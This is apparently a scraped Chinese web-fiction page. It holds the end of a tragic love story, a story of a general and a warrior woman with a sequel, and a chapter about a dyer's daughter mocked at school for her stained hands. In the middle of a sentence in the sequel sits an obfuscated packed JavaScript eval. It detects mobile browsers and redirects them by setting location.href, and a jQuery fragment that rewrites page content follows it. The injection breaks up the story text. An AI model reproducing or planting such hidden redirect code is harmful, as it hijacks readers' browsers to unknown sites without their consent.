江傃念忌日那天她去墓园的路上,两眼昏花毫无征兆的晕在了的士上,吓得人家司机慌忙将她送去医院。 温默颜醒后连连向司机道谢,站在医院门口徘徊了一阵,犹豫片刻最后还是走了进去。 排队挂号,把能检查的都检查了一遍,等报告单出来,才知道她脑子里长了个肿瘤而且在不断在恶化,错过了动手术的黄金时期,现在动手术的风险很高,但不动手术温默颜也没多少时间能活。 医生建议温默颜先住院观察情况,让她叫家属过来陪同。 她笑笑没说话,拿着医生开的药单去药房抓药,离开医院回到家,把药丢在沙发上,她拿出报告单看了又看,突然大笑,笑的泪水流了下来。 “报应,这是我的报应,傃念你看见了吗?我的报应来了,你终于不再是一个人,一定要等我去见你。” 泪水打湿了报告单,她们终于能在一起了不是吗? 最后的日子里温默颜有了盼头,她到理发店把头发染成黑色,再去女装店买了两身衬颜的衣服。 她做了一件江傃念生前未完成事,她去婚纱店挑了两件心怡的婚纱,拍了一组婚纱照,有一张照片深得她心,照片中的她穿着梦寐以求的婚纱含情脉脉牵着与她面对面同样穿着婚纱人台。 “傃念你看,我们算不算结婚了,你还是以前那么的漂亮,现在的我人老珠黄再找不到半分当年的影子。 我老了你不要嫌弃我,我们很快就再见了。” 温默颜去墓园在江傃念墓前烧了那张她满意的婚纱照,她相信江傃念会满意这张照片的,照片上的江傃念好像在冲她笑。 冬天来得很早,一夜间天气开始转冷,秋天过去还残留在枝头的叶子也经不住寒风的摧残凋零离开枝头随风飘扬落在地上慢慢腐败。 温默颜心里好像早有预感,洗梳一番坐在梳妆台前化了一个妆容,穿上紫色的针织长裙,披着江傃念为她织的浅紫色毛衣外套。 她小心翼翼保管才留到了现在,以前穿的时候还很合身现在大了许多。 温默颜像赴宴的宾客,往身上喷了香水,来到院子里,院里的花早已调谢,剩下的只有一片无声的死寂。 “傃念,你不会孤单了,我来找你了。”坐在摇椅上的温默颜随后停止了呼吸, 叮叮…好像有什么东西从她身上掉到地上撞击发出响声。 温默颜贴身挂着的两枚戒指,绳子不知怎么自己断开了,两枚戒指前后掉到地上发出声音弹了很远不知道掉在了什么地方,那个冬天真的好冷。 温浩为温默颜办理好后事,将房子卖掉不久就被温柔接到国外养老了,戒指掉在哪儿估计也没人在意了。 时间过得很快,因为要开发商场房子拆迁,有人在墙边砖缝里捡到一枚戒指,虽然时隔多年戒指表面被腐蚀的看不清它原来的样子,中间的那颗钻石在阳光照耀下依旧闪闪发亮。 ————全文完———— 16. 泥下骨,白头霜 杨氏有女,名华亭,双十岁月,芳华正好。 性好动爱玩,不拘闺中琐事。长辈叹息,“此子如此,怎好觅良人?” 华亭只笑,拿起刀剑如风,“怎得我觅?他自会觅我。” 杨家将门,父兄皆为国杀敌。华亭亦愿赴沙场,杨父大怒,不许,父女不欢而散。 赌气出门,游至金水池。正闷气间,索性脱簪束发,池中亭亭倩影,鱼儿暗动。 不料木簪滑落,正落桥下画舫。砸中一人,抬头看来。 华亭笑,正欲开口,那人无言,皱眉,将木簪一分为二。 当真不似戏本中的故事。 再见是杨府。偷玩回家,翻墙入后院。一人站在后院树下,依旧淡然眉目。 忆起毁簪之事,有忿难消,又恐惊动旁人,华亭拿剑,两人齐至金水池边比试。 交战百回,难分胜负,华亭不服,女儿心性,要求定分胜负。 那人皱眉,“你这丫头不好嫁人。” 华亭视之不共戴天。 后来才知,那人是当朝抚远将军谢桐。 少年将军雄姿英发,俊秀眉目,小妹华年谈起,已是俏眉扬起,似芳心暗动。 华亭嗤笑,不过呆子一个。 嘉清四十年,北部女真进犯。 青州一夜危急,兵临城下。 抚远将军率军士坚守,五天仍不见援军,似已成孤岛。 六日兵马入城,却不是敌军。 领军者只一个小姑娘,鲜衣怒马,长发翩飞,执剑在手,夺目芳华。 谢桐凝视,那身影刻于眼瞳,再难忘怀。 两人合力,斩杀数敌。直至青州大捷。 快意恩仇,尽在刀剑,年少情义,厮杀战场。 分别时,华亭举剑,“此当恩仇尽消,我不记木簪之仇,权当重新开始。” 谢桐只问,“什么木簪?” 华亭负气,当真榆木呆子,阿斗扶不起。 “不过我的确说错了话。”谢桐正经。 却见华亭早已忿忿远去,扬言来日定要你好看。 无奈摇头,我想说,如果没人娶你,或许我愿意。 后来北上讨伐,却遭围困。 暗探负伤,拼死送信,倒在杨门。 军令未出,后院闺房已夺出一人,带走的只一把长秀宝剑。 来至军营,就见数帐灯火,记忆中的呆子已形容憔悴。 她轻轻抚上他额,何苦? 他笑,家国危难,当舍身立命,怎苦? 两人对望,不语,难挡情根生长。 敌军夜袭,两人突围。 她替他挡了许多箭,却不言,直至血流如注。 怀中低语,她气息微浅,“怎么才觅到我?”话毕,已泪流满面。 杨府大丧,长女华亭战死沙场。 皆是素衣白缟,泣不成声。 唯谢桐一人鲜红喜服,身后敲锣打鼓,仪仗极大,聘礼却只有一只破碎的木簪。 只对着那棺木三叩首。 一拜,天地可鉴。 二拜,琴瑟相和。 三拜,白发齐眉。 我说过,会娶你进门。 后来,谢府有亭园,院中无他,只满地鲜花,春夏盛放。 园中一块石碑,浅浅“华亭”二字,宛如那人恬淡笑容,也似那人浅淡的生命。 时常饮酒,独坐亭园,想朝夕日暮,想往昔种种。 轻叹君毁约,终是不能走到最后,已化骨成泥,留我独寄白头。 后续 塞北的冬天总是来的很早,仲秋刚过,夜里竟飘起了细雪。 青州城外的塞北寨,总是对一切天气的变动都特别敏感。 夜里燃起的篝火消烬了开始时的熊旺与火热,只余星火袅袅,哄得一旁的兵士直打瞌睡。 哨岗一片寂寥,站岗的士兵一动也不动,周身被雪缓缓轻抚,俨然成了一个雪人。 谢桐打了一个激灵,惊醒过来。 没有战鼓,没有号角,没有响箭,这样的塞北,清冷的让人发怵。 所以有时候会大逆不道的想,打仗吧打仗吧,大漠黄沙的塞北需要刀剑,需要鲜血。 只有打仗,才能好好只去做一件事情,才能不会每日在彻骨的寂静中惊醒,才能,不去想,那些事情。 可是天下似乎太平了,许久没有外族入侵,或许真的到盛世了吧。 当初你我誓死所追求的盛世,心心念念的天下太平,树下夜话中的良辰美景,终是姗姗来迟,可惜,你已不再。 谢桐起身,无意中磕到了床边的一个檀木盒子,没有繁杂的装饰,简单得让人觉得诧异。 每日的摩挲已经让原本光滑的盒面变成了似磨砂般的粗糙,却仍是不够,但终归是徒劳。 他想起以前杨华亭总是拿着画本戏本,捧着脸说着什么梁祝化蝶,西厢梦好的故事,还常常被感动得一脸怅然。 其实死后哪有什么化蝶,只是慢慢腐朽,变成一捧黄土,一把尘灰,再没人记得被故事感动的一塌糊涂的人。 他拿起盒子,打算放进柜子里,复又拿出来,在怀里捂了捂,感觉终于有点热气了,又放进了柜子里。 往外走了几步,终是折回,拿出盒子放在了床上,用还残存余温的被子盖好,拍了拍,又抚了抚,这才慢慢起身。 走出军帐,雪已停。千账灯火莹莹,照亮茫茫荒原。 门口守夜的小兵揉了揉眼睛:“将军,你又出去啊。” 谢桐点点头,拍了拍他的肩,继续往前走。 走到寨子门口,他看见了那簇点燃的篝火,不禁有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353450|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发神。 似乎许久之前,和杨华亭还是坐在这样的火堆前,不够热烈,只是刚刚好温暖彼此的心。 他没有过去,那么暖和那么明亮,他怕,他一过去,就会湮灭了。 放轻了脚步,踩在雪里咯吱作响,刚刚够打着瞌睡的人翻了个身。 要去哪了?没有目的地,只是随便走走。 只是,又来到这了。 望月崖没有树,连草都少见,却能站在这里一望漠北,一望苍穹,一望过往。 谢桐慢慢坐在地上,才能确切的感到寒冷正攀附全身。 其实还好,那天晚上抱着杨华亭渐渐冷却的身体在望月崖的一天一夜才是真的冷。 真是奇怪,明明没有下雪,不光是冷,还有疼。 别人家的姑娘总是不忘提醒心上人要多穿点,而当杨华亭蹲在草地里打了个响亮的喷嚏,看着同样衣着单薄的谢桐。总是笑得有些厚颜无耻。 “我以为你会带披肩什么的。”一脸天真无邪。 “……” 所以后来,两个人一遇到这种情况就会紧紧抱在一起。 “谢哑巴你真瘦,硌得我疼。”却笑得一脸甜蜜。 谢桐缓缓闭眼,感受着天地间的风吹草动。 风又急了,雪又下了,又停了。 —— 青历六年,抚远将军谢桐请旨,赴塞北,镇守边疆,至死不归。 直到许多年后,女真入侵,扫荡昔日塞北寨,挖出当年抚远将军的墓,竟只见佩剑甲胄,不见尸首。 而听寨里老农忆起,又是许多年前,一老妪在谢将军过世后,火化了他,带走了骨灰,说来也奇怪,明明只有一个人,却捧着两个骨灰盒。 老妪花白头发,却不显老态,缓缓登上了望月崖,将两盒骨灰一同洒向了塞北的荒原。 “你是谢将军什么人?”还是幼童的老农问了句。 “什么都不是,”老妪捋了捋耳后的头发,竟有些释然的笑笑,“收尸的。” “死了好啊,死了就什么不想了,什么都不念了。”老妪开心的拍拍手。 孩童不解,他分明看见她眼里努力噙住的泪花,笑得有些凄凉。 老妪在那个地方坐了两晚,就再也不见了。 人们发现崖边的大石头上多了字,一凿一凿刻上去的,像是一句话。 “故人祭,华年启。” 或许谢桐在无数次的回忆中还是会想起,那个在谢府踢着毽子的姑娘,却始终不是他心中渴望的样子。 望着被烧得什么也没有的亭园,对谢桐说:“我活不成姐姐那样,所以我就会活成你这样。” 所以,在漫长岁月中,她也会无数次回忆起,那个在杨府院子里负手而立,淡然眉目的少年。 只是那时无忧无虑,岁月安然。 17. 第 21 章 在我们的同学中,从来没有见过这样的手:蓝的,黑的,又好象紫的;从指甲一直变色到手腕以上。 她初来的几天,我们叫她“怪物”。下课以后大家在地板上跑着也总是绕着她。关于她的手,但也没有一个人去问过。 教师在点名,使我们越忍越忍不住了,非笑不可了。 “李洁!”“到。” “张楚芳!”“到。” “徐桂真!”“到。” 迅速而有规律性的站起来一个,又坐下去一个。但每次一喊到王亚明的地方,就要费一些时间了。 “王亚明,王亚明……叫到你啦!”别的同学有时要催促她,于是她才站起来,把两只青手垂得很直,肩头落下去,面向着棚顶说:“到,到,到。” 不管同学们怎样笑她,她一点也不感到慌乱,仍旧弄着椅子响,庄严的,似乎费掉了几分钟才坐下去。 有一天上英文课的时候,英文教师笑得把眼镜脱下来在擦着眼睛:“你下次不要再答‘黑耳’了,就答‘到’吧!” 全班的同学都在笑,把地板擦得很响。 第二天的英文课,又喊到王亚明时,我们又听到了“黑——耳——黑——耳。” “你从前学过英文没有?”英文教师把眼镜移动了一下。 “不就是那英国话吗?学是学过的,是个麻子脸先生教的……铅笔叫‘喷丝儿’,钢笔叫‘盆’。可是没学过‘黑耳’。” “here就是‘这里’的意思,你读:here!here”喜儿,喜儿。“她又读起”喜儿“来了。这样的怪读法,全课堂都笑得颤栗起来。可是王亚明,她自己却安然地坐下去,青色的手开始翻转着书页。并且低声读了起来:”华提……贼死……阿儿……“ 数学课上,她读起算题来也和读文章一样:“2x+y=……x2=……” 午餐的桌上,那青色的手已经抓到了馒头,她还想着“地理”课本:“墨西哥产白银……云南……唔,云南的大理石。” 夜里她躲在厕所里边读书,天将明的时候,她就坐在楼梯口。只要有一点光亮的地方,我常遇到过她。有一天落着大雪的早晨,窗外的树枝挂着白绒似的穗头,在宿舍的那边,长筒过道的尽头,窗台上似乎有人睡在那里了。 “谁呢?这地方多么凉!”我的皮鞋拍打着地板,发出一种空洞洞的嗡声,因是星期日的早晨,全个学校出现在特有的安宁里。一部分的同学在化着装;一部分的同学还睡在眠床上。 还没走到她的旁边,我看到那摊在膝头上的书页被风翻动着。 “这是谁呢?礼拜日还这样用功!”正要唤醒她,忽然看到那青色的手了。 “王亚明,嗳……醒醒吧……”我还没有直接招呼过她的名字,感到生涩和直硬。 “喝喝……睡着啦!”她每逢说话总是开始钝重的笑笑。 “华提……贼死,右……爱……”她还没找到书上的字就读起来。 “华提……贼死,这英国话,真难……不象咱们中国字:什么字旁,什么字头……这个:曲里拐弯的,好象长虫爬在脑子里,越爬越糊涂,越爬越记不住。英文先生也说不难,不难,我看你们也不难。我的脑筋笨,乡下人的脑筋没有你们那样灵活。我的父亲还不如我,他说他年青的时候,就记他这个‘王’字,记了半顿饭的工夫还没记住。右……爱……右……阿儿……” 说完一句话,在末尾不相干的她又读起单字来。 风车哗啦哗啦的响在壁上,通气窗时时有小的雪片飞进来,在窗台上结着些水珠。 她的眼睛完全爬满着红丝条;贪婪,把持,和那青色的手一样在争取她那不能满足的愿望。 在角落里,在只有一点灯光的地方我都看到过她,好象老鼠在啮嚼什么东西似的。 她的父亲第一次来看她的时候,说她胖了:“妈的,吃胖了,这里吃的比自家吃的好,是不是?好好干吧!干下三年来,不成圣人吧,也总算明白明白人情大道理。”在课堂上,一个星期之内人们都是学着王亚明的父亲。第二次,她的父亲又来看他,她向她父亲要一双手套。 “就把我这副给你吧!书,好好念书,要一副手套还没有吗?等一等,不用忙……要戴就先戴这副,开春啦!我又不常出什么门,明子,上冬咱们再买,是不是?明子!”在接见室的门口嚷嚷着,四周已经是围满着同学,于是他又喊着明子明子的,又说了一些事情:“三妹妹到二姨家去串门啦,去啦两三天啦!小肥猪每天又多加两把豆子,胖得那样你没看见,耳朵都挣挣起来了,……姐姐又来家腌了两罐子咸葱……” 正讲得他流汗的时候,女校长穿着人群站到前面去:“请到接见室里里面坐吧——” “不用了,不用了,耽搁工夫,我也是不行的,我还就要去赶火车…… 赶回去,家里一群孩子,放不下心……“他把皮帽子放在手上,向校长点着头,头上冒着气,他就推开门出去了。好象校长把他赶走似的。可是他又转回身来,把手套脱下来。 “爹,你戴着吧,我戴手套本来是没用的。” 她的父亲也是青色的手,比王亚明的手更大更黑。 在阅报室里,王亚明问我:“你说,是吗?到接见室去坐下谈话就要钱的吗?” “哪里要钱!要的什么钱!” “你小点声说,叫她们听见,她们又谈笑话了。”她用手掌指点着我读着的报纸,“我父亲说的,他说接见室摆着茶壶和茶碗,若进去,怕是校役就给倒茶了,倒茶就要钱了。我说不要,他可是不信,他说连小店房进去喝一碗水也多少得赏点钱,何况学堂呢?你想学堂是多么大的地方!” 校长已说过她几次:“你的手,就洗不净了吗?多加点肥皂!好好洗洗,用热水烫一烫。早操的时候,在操场上竖起来的几百条手臂都是白的,就是你,特别呀!真特别。”女校长用她贫血的和化石一般透明的手指去触动王亚明的青色手,看那样子,她好象是害怕,好象微微有点抑止着呼吸,就如同让她去接触黑色的已经死掉的鸟类似的。“是褪得很多了,手心可以看到皮肤了。比你来的时候强得多,那时候,那简直是铁手……你的功课赶得上了吗?多用点功,以后,早□□就不用上,学校的墙很低,春天里散步的外国人又多,他们常常停在墙外看的。等你的手褪掉颜色再上早操吧!”校长告诉她,停止了她的早操。 “我已经向父亲要到了手套,戴起手套来不就看不见了吗?”打开了书箱,取出她父亲的手套来。 校长笑得发着咳嗽,那贫血的面孔立刻旋动着红的颜色:“不必了!既然是不整齐,戴手套也是不整齐。” 假山上面的雪消融了去,校役把铃子也打得似乎更响些,窗前的杨树抽着芽,操场好象冒着烟似的,被太阳蒸发着。上早操的时候,那指挥官的口笛振鸣得也远了,和窗外树丛中的人家起着回应。 我们在跑在跳,和群鸟似的在噪杂。带着糖质的空气迷漫着我们,从树梢上面吹下来的风混和着嫩芽的香味。被冬天枷锁了的灵魂和被束掩的棉花一样舒展开来。 正当早操刚收场的时候,忽然听到楼窗口有人在招呼什么,那声音被空气负载着向天空响去似的:“好和暖的太阳!你们热了吧?你们……”在抽芽的杨树后面,那窗口站着王亚明。 等杨树已经长了绿叶,满院结成了荫影的时候,王亚明却渐渐变成了干缩,眼睛的边缘发着绿色,耳朵也似乎薄了一些,至于她的肩头一点也不再显出蛮野和强壮。当她偶然出现在树荫下,那开始陷下的胸部使我立刻从她想到了生肺病的人。 “我的功课,校长还说跟不上,倒也是跟不上,到年底若再跟不上,喝喝!真会留级的吗?”她讲话虽然仍和从前一样“喝喝”的,但她的手却开始畏缩起来,左手背在背后,右手在衣襟下面突出个小丘。 我们从来没有看到她哭过,大风在窗外倒拔着杨树的那天,她背向着教室,也背向着我们,对着窗外的大风哭了。那是那些参观的人走了以后的事情,她用那已经开始在褪着色的青手捧着眼泪。 “还哭!还哭什么?来了参观的人,还不躲开。你自己看看,谁象你这样特别!两只蓝手还不说,你看看,你这件上衣,快变成灰的了!别人都是蓝上衣,哪有你这样特别,太旧的衣裳颜色是不整齐的……不能因为你一个人而破坏了制服的规律性……”她一面嘴唇与嘴唇切合着,一面用她惨白的手指去撕着王亚明的领口:“我是叫你下楼,等参观的走了再上来,谁叫你就站在过道呢?在过道,你想想:他们看不到你吗?你倒戴起了这样大的一副手套……” 说到“手套”的地方,校长的黑色漆皮鞋,那晶亮的鞋尖去踢了一下已经落到地板上的一只:“你觉得你戴上了手套站在这地方就十分好了吗?这叫什么玩艺?”她又在手套上踏了一下,她看到那和马车夫一样肥大的手套,抑止不住的笑出声来了。 王亚明哭了这一次,好象风声都停止了,她还没有停止。 暑假以后,她又来了。夏末简直和秋天一样凉爽,黄昏以前的太阳染在马路上使那些铺路的石块都变成了朱红色。我们集着群在校门里的山丁树下吃着山丁。就是这时候,王亚明坐着的马车从“喇嘛台”那边哗啦哗啦地跑来了。只要马车一停下,那就全然寂静下去,她的父亲搬着行李,她抱着面盆和一些零碎。走上台阶来了,我们并不立刻为她闪开,有的说着:“来啦!” “你来啦!”有的完全向她张着嘴。 等她父亲腰带上挂着的白毛巾一抖一抖的走上了台阶,就有人在说:“怎么!在家住了一个暑假,她的手又黑了呢?那不是和铁一样了吗?” 秋季以后,宿舍搬家的那天,我才真正注意到这铁手:我似乎已经睡着了,但能听到隔壁在吵叫着:“我不要她,我不和她并床……” “我也不和她并床。” 我再细听了一些时候,就什么也听不清了,只听到嗡嗡的笑声和绞成一团的吵嚷。夜里我偶然起来到过道去喝了一次水。长椅上睡着一个人,立刻就被我认出来,那是王亚明。两只黑手遮着脸孔,被子一半脱落在地板上,一半挂在她的脚上。我想她一定又是借着过道的灯光在夜里读书,可是她的旁边也没有什么书本,并且她的包袱和一些零碎就在地板上围绕着她。 第二天的夜晚,校长走在王亚明的前面,一面走一面响着鼻子,她穿着床位,她用她的细手推动那一些连成排的铺平的白床单:“这里,这里的一排七张床,只睡八个人,六张床还睡九个呢!”她翻着那被子,把它排开一点,让王亚明把被子就夹在这地方。 王亚明的被子展开了,为着高兴的缘故,她还一边铺着床铺,一边嘴里似乎打着哨子,我还从没听到过这个,在女学校里边,没有人用嘴打过哨子。 她已经铺好了,她坐在床上张着嘴,把下颚微微向前抬起一点,象是安然和舒畅在镇压着她似的。校长已经下楼了,或者已经离开了宿舍,回家去了。但,舍监这老太太,鞋子在地板上擦擦着,头发完全失掉了光泽,她跑来跑去:“我说,这也不行……不讲卫生,身上生着虫类,什么人还不想躲开她呢?”她又向角落里走了几步,我看到她的白眼球好象对着我似的:“看这被子吧!你们去嗅一嗅!隔着二尺远都有气味了……挨着她睡觉,滑稽不滑稽!谁知道……虫类不会爬了满身吗?去看看,那棉花都黑得什么样子啦!” 舍监常常讲她自己的事情,她的丈夫在日本留学的时候,她也在日本,也算是留学。同学们问她:“学的什么呢?” “不用专学什么!在日本说日本话,看看日本风俗,这不也是留学吗?” 她说话总离不了“不卫生,滑稽不滑稽……肮脏”,她叫虱子特别要叫虫类。 “人肮脏手也肮脏。”她的肩头很宽,说着肮脏她把肩头故意抬高了一下,好象寒风忽然吹到她似的,她跑出去了。 “这样的学生,我看校长可真是……可真是多余要……”打过熄灯铃之后,舍监还在过道里和别的一些同学在讲说着。 第三天夜晚,王亚明又提着包袱,卷着行李,前面又是走着白脸的校长。 “我们不要,我们的人数够啦!” 校长的指甲还没接触到她们的被边时,她们就嚷了起来,并且换了一排床铺也是嚷了起来:“我们的人数也够啦!还多了呢!六张床,九个人,还能再加了吗?” “一二三四……”校长开始计算:“不够,还可以再加一个,四张床,应该六个人,你们只有五人……来!王亚明!” “不,那是留给我妹妹的,她明天就来……”那个同学跑过去,把被子用手按住。 最后,校长把她带到别的宿舍去了。 “她有虱子,我不挨着她……” “我也不挨着她……” “王亚明的被子没有被里,棉花贴着身子睡,不信,校长看看!” 后来她们就开着玩笑,甚至于说出害怕王亚明的黑手而不敢接近她。 以后,这黑手人就睡在过道的长椅上。我起得早的时候,就遇到她在卷着行李,并且提着行李下楼去。我有时也在地下储藏室遇到她,那当然是夜晚,所以她和我谈话的时候,我都是看看墙上的影子,她搔着头发的手,那影子印在墙上也和头发一样颜色。 “惯了,椅子也一样睡,就是地板也一样,睡觉的地方,就是睡觉,管什么好歹!念书是要紧的……我的英文,不知在考试的时候,马先生能给我多少分数?不够六十分,年底要留级的吗?” “不要紧,一门不能够留级。”我说。 “爹爹可是说啦!三年毕业,再多半年,他也不能供给我学费……这英国话,我的舌头可真转不过弯来。喝喝……” 全宿舍的人都在厌烦她,虽然她是住在过道里。因为她夜里总是咳嗽着……同时在宿舍里边她开始用颜料染着袜子和上衣。 “衣裳旧了,染染差不多和新的一样。比方,夏季制服,染成灰色就可以当秋季制服穿……比方,买白袜子,把它染成黑色,这都可以……” “为什么你不买黑袜子呢?”我问她。 “黑袜子,他们是用机器染的,矾太多……不结实,一穿就破的……还是咱们自己家染的好……一双袜子好几毛钱……破了就破了还得了吗?” 礼拜六的晚上,同学们用小铁锅煮着鸡子。每个礼拜六差不多总是这样,她们要动手烧一点东西来吃。从小铁锅煮好的鸡子,我也看到的,是黑的,我以为那是中了毒。那端着鸡子的同学,几乎把眼镜咆哮得掉落下来:“谁干的好事!谁?这是谁?” 王亚明把面孔向着她们来到了厨房,她拥挤着别人,嘴里喝喝的:“是我,我不知道这锅还有人用,我用它煮了两双袜子……喝喝……我去……” “你去干什么?你去……” “我去洗洗它!” “染臭袜子的锅还能煮鸡子吃!还要它?”铁锅就当着众人在地板上光郎、光郎的跳着,人咆哮着,戴眼镜的同学把黑色的鸡子好象抛着石头似的用力抛在地上。 人们都散开的时候,王亚明一边拾着地板上的鸡子,一边在自己说着话:“哟!染了两双新袜子,铁锅就不要了!新袜子怎么会臭呢?” 冬天,落雪的夜里,从学校出发到宿舍去,所经过的小街完全被雪片占据了。我们向前冲着,扑着,若遇到大风,我们就风雪中打着转,倒退着走,或者是横着走。清早,照例又要从宿舍出发,在十二月里,每个人的脚都冻木了,虽然是跑着也要冻木的。所以我们咒诅和怨恨,甚至于有的同学已经在骂着,骂着校长是“混蛋”,不应该把宿舍离开学校这样远,不应该在天还不亮就让学生们从宿舍出发。 有些天,在路上我单独的遇到王亚明。远处的天空和远处的雪都在闪着光,月亮使得我和她踏着影子前进。大街和小街都看不见行人。风吹着路旁的树枝在发响,也时时听到路旁的玻璃窗被雪打着在呻叫。我和她谈话的声音,被零度以下的气温所反应也增加了硬度。等我们的嘴唇也和我们的腿部一样感到了不灵活,这时候,我们总是终止了谈话,只听着脚下被踏着的雪,乍乍乍的响。手在按着门铃,腿好象就要自己脱离开,膝盖向前时时要跪了下去似的。 我记不得哪一个早晨,腋下带着还没有读过的小说,走出了宿舍,我转过身去,把栏栅门拉紧。但心上总有些恐惧,越看远处模糊不清的房子,越听后面在扫着的风雪,就越害怕起来。星光是那样微小,月亮也许落下去了,也许被灰色的和土色的云彩所遮蔽。 走过一丈远,又象增加了一丈似的,希望有一个过路的人出现,但又害怕那过路人,因为在没有月亮的夜里,只能听到声音而看不见人,等一看见人影那就从地面突然长了起来似的。 我踏上了学校门前的石阶,心脏仍在发热,我在按铃的手,似乎已经失去了力量。突然石阶又有一个人走上来了:“谁?谁?” “我!是我。” “你就走在我的后面吗?”因为一路上我并没听到有另外的脚步声,这使我更害怕起来。 “不,我没走在你的后面,我来了好半天了。校役他是不给开门的,我招呼了不知道多大工夫了。” “你没按过铃吗?” “按铃没有用,喝喝,校役开了灯,来到门口,隔着玻璃向外看看…… 可是到底他不给开。“ 里边的灯亮起来,一边骂着似的光郎郎郎的把门给闪开了:“半夜三更叫门……该考背榜不是一样考背榜吗?” “干什么?你说什么?”我这话还没有说出来,校役就改变了态度:“萧先生,您叫门叫了好半天了吧?” 我和王亚明一直走进了地下室,她咳嗽着,她的脸苍黄得几乎是打着皱纹似的颤索了一些时候。被风吹得而挂下来的眼泪还停留在脸上,她就打开了课本。 “校役为什么不给你开门?”我问。 “谁知道?他说来得太早,让我回去,后来他又说校长的命令。” “你等了多少时候了?” “不算多大工夫,等一会,就等一会,一顿饭这个样子。喝喝……” 她读书的样子完全和刚来的时候不一样,那喉咙渐渐窄小了似的,只是喃喃着,并且那两边摇动的肩头也显着紧缩和偏狭,背脊已经弓了起来,胸部却平了下去。 我读着小说,很小的声音读着,怕是搅忧了她;但这是第一次,我不知道为什么这只是第一次? 她问我读的什么小说,读没读过《三国演义》?有时她也拿到手里看看书面,或是翻翻书页。“象你们多聪明!功课连看也不看,到考试的时候也一点不怕。我就不行,也想歇一会,看看别的书……可是那就不成了……” 有一个星期日,宿舍里面空朗的,我就大声读着《屠场》上正是女工马利亚昏倒在雪地上的那段,我一面看着窗外的雪地一面读着,觉得很感动。 王亚明站在我的背后,我一点也不知道。 “你有什么看过的书,也借给我一本,下雪天气,实在沉闷,本地又没有亲戚,上街又没有什么买的,又要花车钱……” “你父亲很久不来看你了吗?”我以为她是想家了。 “哪能来!火车钱,一来回就是两元多……再说家里也没有人……” 我就把《屠场》放在她的手上,因为我已经读过了。 她笑着,“喝喝”着,她把床沿颤了两下,她开始研究着那书的封面。 等她走出去时,我听在过道里她也学着我把那书开头的第一句读得很响。 以后,我又不记得是哪一天,也许又是什么假日,总之,宿舍是空朗朗的,一直到月亮已经照上窗子,全宿舍依然被剩在寂静中。我听到床头上有沙沙的声音,好象什么人在我的床头摸索着,我仰过头去,在月光下我看到了是王亚明的黑手,并且把我借给她的那本书放在我的旁边。 我问她:“看得有趣吗?好吗?” 起初,她并不回答我,后来她把脸孔用手掩住,她的头发也象在抖着似的,她说:“好。” 我听她的声音也象在抖着,于是我坐了起来。她却逃开了,用着那和头发一样颜色的手横在脸上。 过道的长廊空朗朗的,我看着沉在月光里的地板的花纹。 “马利亚,真象有这个人一样,她倒在雪地上,我想她没有死吧!她不会死吧……那医生知道她是没有钱的人,就不给她看病……喝喝!”很高的声音她笑了,借着笑的抖动眼泪才滚落下来:“我也去请过医生,我母亲生病的时候,你看那医生他来吗?他先向我要马车钱,我说钱在家里,先坐车来吧!人要不行了……你看他来吗?他站在院心问我:”你家是干什么的? 你家开染缸房吗?‘不知为什么,一告诉他是开’染缸房‘的,他就拉开门进屋去了……我等他,他没有出来,我又去敲门,他在门里面说:“不能去看这病,你回去吧!’我回来了……”她又擦了擦眼睛才说下去,“从这时候我就照顾着两个弟弟和两个妹妹。爹爹染黑的和篮的,姐姐染红的……姐姐定亲的那年,上冬的时候,她的婆婆从乡下来住在我们家里,一看到姐姐她就说:”唉呀!那杀人的手!‘从这起,爹爹就说不许某个人专染红的;某个人专染蓝的。我的手是黑的,细看才带点紫色,那两个妹妹也都和我一样。“ “你的妹妹没有读书?” “没有,我将来教她们,可是我也不知道我读得好不好,读不好连妹妹都对不起……染一匹布多不过三毛钱……一个月能有几匹布来染呢?衣裳每件一毛钱,又不论大小,送来染的都是大衣裳居多……去掉火柴钱,去掉颜料钱……那不是吗!我的学费……把他们在家吃咸盐的钱都给我拿来啦…… 我哪能不用心念书,我哪能?“她又去摸触那书本。 我仍然看着地板上的花纹,我想她的眼泪比我的同情高贵得多。 还不到放寒假时,王亚明在一天的早晨,整理着手提箱和零碎,她的行李已经束得很紧,立在墙根的地方。 并没有人和她去告别,也没有人和她说一声再见。我们从宿舍出发,一个一个的经过夜里王亚明睡觉的长椅,她向我们每个人笑着,同时也好象从窗口在望着远方。我们使过道起着沉重的骚音,我们下着楼梯,经过了院宇,在栏栅门口,王亚明也赶到了,呼喘并且张着嘴:“我的父亲还没有来,多学一点钟是一点钟……”她向着大家在说话一样。 这最后的每一点钟都使她流着汗,在英文课上她忙着用小册子记下来黑板上所有的生字。同时读着,同时连教师随手写的已经是不必要的读过的熟字她也记了下来,在第二点钟地理课上她又费着力气模仿着黑板上教师画的地图,她在小册子上也画了起来……好象所有这最末一天经过她的思想都重要起来,都必得留下一个痕迹。 在下课的时间,我看了她的小册子,那完全记错了:英文字母,有的脱落一个,有的她多加上一个……她的心情已经慌乱了。 夜里,她的父亲也没有来接她,她又在那长椅上展了被褥,只有这一次,她睡得这样早,睡得超过平常以上的安然。头发接近着被边,肩头随着呼吸放宽了一些。今天她的左右并不摆着书本。 早晨,太阳停在颤抖的挂着雪的树枝上面,鸟雀刚出巢的时候,她的父亲来了。停在楼梯口,他放下肩上背来的大毡靴,他用围着脖子的白毛巾掳去胡须上的冰溜:“你落了榜吗?你……”冰溜在楼梯上溶成小小的水珠。 “没有,还没考试,校长告诉我,说我不用考啦,不能及格的……” 她的父亲站在楼梯口,把脸向着墙壁,腰间挂着的白手巾动也不动。 行李拖到楼梯口了,王亚明又去提着手提箱,抱着面盆和一些零碎,她把大手套还给她的父亲。 “我不要,你戴吧!”她父亲的毡靴一移动就在地板上压了几个泥圈圈。 因为是早晨,来围观的同学们很少。王亚明就在轻微的笑声里边戴起了手套。 “穿上毡靴吧!书没念好,别再冻掉了两只脚。”她的父亲把两只靴子相连的皮条解开。 靴子一直掩过了她的膝盖,她和一个赶马车的人一样,头部也用白色的绒布包起。 